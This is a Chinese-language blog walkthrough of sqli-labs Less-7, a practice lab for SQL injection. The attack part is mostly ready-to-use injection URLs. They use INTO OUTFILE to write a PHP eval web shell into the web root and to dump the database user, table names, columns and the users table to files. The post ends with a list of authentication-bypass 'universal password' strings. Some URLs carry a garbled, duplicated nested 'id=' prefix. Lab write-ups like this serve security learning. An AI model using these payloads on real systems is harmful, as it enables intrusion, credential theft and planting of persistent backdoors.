sqli-labs7

sqli-labs7

7:
带双括号的单引号注入:

1-6关是返回报错信息的,我们首先挑选一关进行报错注入,获取网站的绝对路径,@@datadir获取数据库存储数据路径,@@basedir是MYSQL获取安装路径:

在实际中获取网站的绝对路径是很困难的。
读写权限测试:
MySQL是通过权限表来控制用户对数据库访问的,权限表存放在mysql数据库中,主要的权限表有以下几个:user,db,host,table_priv,columns_priv和procs_priv。

返回正常,有读取权限。
localhost:81/sqli-labs/Less-7/?id=-1’)) union select 1,2,3 into outfile “H:\xampp\htdocs\sqli-labs\Less-7\test.txt” – #

虽然报错,但从后台可看到test.txt文件已经生成了。union是联合查询,所以用1或-1没有太大区别。
\在url中会被当成转义字符处理,故这里我们使用\,结果就是\。

直接写入一句话木马:
http://localhost:81/sqli-labs/Less-7/?id=1%27))%20union%20select%201,2,%27%3C?php%20@eval($_POST[%22pass%22])%20?%3E%27%20into%20outfile%20%22H:\xampp\htdocs\sqli-labs\Less-7\test.php%22%20–%20#

因为php是后端语言,前端浏览器访问看不到php源代码。
猜字段:http://localhost:81/sqli-labs/Less-7/?id=1%27))%20order%20by%203%20–%20#

Into outfile的方式查看用户名数据库名:
http://localhost:81/sqli-labs/Less-7/?id=-1%27))%20union%20select%201,user(),database()%20into%20outfile%20%22H:\xampp\htdocs\sqli-labs\Less-7\1.txt%22%20–%20#

查看表名:
http://localhost:81/sqli-labs/Less-7/?id=http://192.168.33.1/sqli/Less-7/?id=-1%27))%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20into%20outfile%20%22H:\xampp\htdocs\sqli-labs\Less-7\biao.txt%22%20–%20#

查字段:
http://localhost:81/sqli-labs/Less-7/?id=http://192.168.33.1/sqli/Less-7/?id=-1%27))%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20into%20outfile%20%22H:\xampp\htdocs\sqli-labs\Less-7\ziduan.txt%22%20–%20#

查看users表中数据:http://localhost:81/sqli-labs/Less-7/?id=http://192.168.33.1/sqli/Less-7/?id=-1%27))%20union%20select%20*%20from%20users%20into%20outfile%20%22H:\xampp\htdocs\sqli-labs\Less-7\users.txt%22%20–%20#

小贴士:万能密码

优先级:算术运算符>关系>赋值>逻辑
=优先于and,and优先于or
Select … from … where user=’admin’ and password=’2’ or ‘1’;
两值进行逻辑or运算,sql语句的查询结果为true,意味着认证成功,能够成功登录系统。
asp aspx万能密码
"or “a”="a
')or(‘a’=‘a
or 1=1–
‘or 1=1–
a’or’ 1=1–
"or 1=1–
‘or’a’=‘a
“or”="a’=‘a
‘or’’=’
‘or’=‘or’
1 or ‘1’=‘1’=1
1 or ‘1’=‘1’ or 1=1
'OR 1=1%00
"or 1=1%00
'xor
PHP万能密码
'or 1=1/*
User: something
Pass: ’ OR ‘1’=‘1
jsp 万能密码
1’or’1’=‘1
admin’ OR 1=1/*

猜你喜欢

转载自blog.csdn.net/qq_38989921/article/details/110225921